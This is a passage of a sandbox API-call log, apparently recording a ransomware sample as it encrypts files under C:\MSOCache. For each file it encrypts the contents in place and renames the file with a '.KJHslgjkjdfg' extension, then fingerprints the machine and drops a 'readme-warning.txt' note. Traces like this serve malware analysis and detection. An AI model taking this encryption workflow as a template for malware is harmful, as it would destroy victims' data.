lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0135.667] GetProcessHeap () returned 0x2a0000 [0135.667] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0135.667] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0135.667] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0135.667] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x1, lpOverlapped=0x0) returned 1 [0135.670] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0135.670] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.670] GetProcessHeap () returned 0x2a0000 [0135.671] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0135.671] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0135.671] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.671] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0135.671] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0135.671] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0135.671] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0135.671] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0135.671] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0135.671] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0135.671] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.672] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.672] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4cf, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x4cf, lpOverlapped=0x0) returned 1 [0135.672] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x4d0, dwBufLen=0x4d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x4d0) returned 1 [0135.672] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.672] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x4d0, lpOverlapped=0x0) returned 1 [0135.672] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.672] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x5a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.672] SetEndOfFile (hFile=0x124) returned 1 [0135.675] GetProcessHeap () returned 0x2a0000 [0135.675] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0135.675] GetProcessHeap () returned 0x2a0000 [0135.675] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0135.675] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.kjhslgjkjdfg")) returned 1 [0135.681] CloseHandle (hObject=0x124) returned 1 [0135.681] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0135.681] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0135.682] GetProcessHeap () returned 0x2a0000 [0135.682] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0135.682] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0135.682] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0135.682] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0135.690] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0135.691] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.691] GetProcessHeap () returned 0x2a0000 [0135.691] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0135.691] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30) returned 1 [0135.691] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.691] WriteFile (in: hFile=0x124, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f4f8*=0x30, lpOverlapped=0x0) returned 1 [0135.691] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0135.691] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0135.691] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0135.691] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0135.691] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0135.692] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0135.692] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.692] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.692] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x73c, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x73c, lpOverlapped=0x0) returned 1 [0135.692] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x740, dwBufLen=0x740 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x740) returned 1 [0135.692] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.692] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x740, lpOverlapped=0x0) returned 1 [0135.692] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.692] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.692] SetEndOfFile (hFile=0x124) returned 1 [0135.695] GetProcessHeap () returned 0x2a0000 [0135.695] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0135.695] GetProcessHeap () returned 0x2a0000 [0135.695] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0135.695] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0135.696] CloseHandle (hObject=0x124) returned 1 [0135.696] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0135.696] GetProcessHeap () returned 0x2a0000 [0135.696] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0135.696] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0135.696] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290f330 | out: pbData=0x2bf570, pdwDataLen=0x290f330) returned 1 [0135.696] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.696] GetProcessHeap () returned 0x2a0000 [0135.696] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0135.696] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0135.697] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290f330 | out: pbData=0x2bf5b8, pdwDataLen=0x290f330) returned 1 [0135.697] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.697] GetProcessHeap () returned 0x2a0000 [0135.697] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f22c8 [0135.697] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0135.697] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f22c8, pdwDataLen=0x290f330 | out: pbData=0x2f22c8, pdwDataLen=0x290f330) returned 1 [0135.697] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.697] GetProcessHeap () returned 0x2a0000 [0135.697] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0135.697] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0135.697] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ef10 | out: pbData=0x2bf528, pdwDataLen=0x290ef10) returned 1 [0135.697] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.697] GetProcessHeap () returned 0x2a0000 [0135.697] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0135.697] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0135.697] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ef10 | out: pbData=0x2c1668, pdwDataLen=0x290ef10) returned 1 [0135.697] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.697] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290ef0c | out: phkResult=0x290ef0c*=0x124) returned 0x0 [0135.697] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ef18, lpcbData=0x290ef14*=0x400 | out: lpType=0x0, lpData=0x290ef18*=0x30, lpcbData=0x290ef14*=0x18) returned 0x0 [0135.698] RegCloseKey (hKey=0x124) returned 0x0 [0135.698] GetProcessHeap () returned 0x2a0000 [0135.698] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0135.698] GetProcessHeap () returned 0x2a0000 [0135.698] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0135.698] GetProcessHeap () returned 0x2a0000 [0135.698] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0135.698] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0135.698] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ece4 | out: pbData=0x2c1668, pdwDataLen=0x290ece4) returned 1 [0135.698] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.698] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290ece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0135.698] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290ece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290ece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0135.698] GetProcessHeap () returned 0x2a0000 [0135.698] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0135.698] wsprintfA (in: param_1=0x290ef2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0135.698] wsprintfA (in: param_1=0x290f33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0135.699] GetProcessHeap () returned 0x2a0000 [0135.699] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f2690 [0135.699] wsprintfW (in: param_1=0x290e30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0135.699] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0135.704] WriteFile (in: hFile=0x124, lpBuffer=0x2f2690*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290e308, lpOverlapped=0x0 | out: lpBuffer=0x2f2690*, lpNumberOfBytesWritten=0x290e308*=0x3b3, lpOverlapped=0x0) returned 1 [0135.706] CloseHandle (hObject=0x124) returned 1 [0135.706] GetProcessHeap () returned 0x2a0000 [0135.706] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f22c8 | out: hHeap=0x2a0000) returned 1 [0135.706] GetProcessHeap () returned 0x2a0000 [0135.706] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f2690 | out: hHeap=0x2a0000) returned 1 [0135.706] GetProcessHeap () returned 0x2a0000 [0135.706] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0135.706] GetProcessHeap () returned 0x2a0000 [0135.706] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0135.706] FindClose (in: hFindFile=0x2c62a0 | out: hFindFile=0x2c62a0) returned 1 [0135.706] GetProcessHeap () returned 0x2a0000 [0135.706] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7ab8 | out: hHeap=0x2a0000) returned 1 [0135.706] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-0054-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9EA85~1")) returned 1 [0135.707] GetProcessHeap () returned 0x2a0000 [0135.707] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8e) returned 0x2ef2d8 [0135.707] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c62a0 [0135.707] GetProcessHeap () returned 0x2a0000 [0135.707] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0135.707] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0135.707] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0135.707] GetProcessHeap () returned 0x2a0000 [0135.707] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x290) returned 0x2c7ab8 [0135.707] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0135.710] GetProcessHeap () returned 0x2a0000 [0135.710] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0135.710] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0135.710] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0135.710] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0xf, lpOverlapped=0x0) returned 1 [0135.712] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0135.712] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.712] GetProcessHeap () returned 0x2a0000 [0135.712] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0135.713] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30) returned 1 [0135.713] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.713] WriteFile (in: hFile=0x124, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f4f8*=0x30, lpOverlapped=0x0) returned 1 [0135.713] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0135.713] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0135.713] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0135.713] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0135.713] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0135.713] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0135.713] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.713] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.713] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1861, lpNumberOfBytesRead=0x290f504, 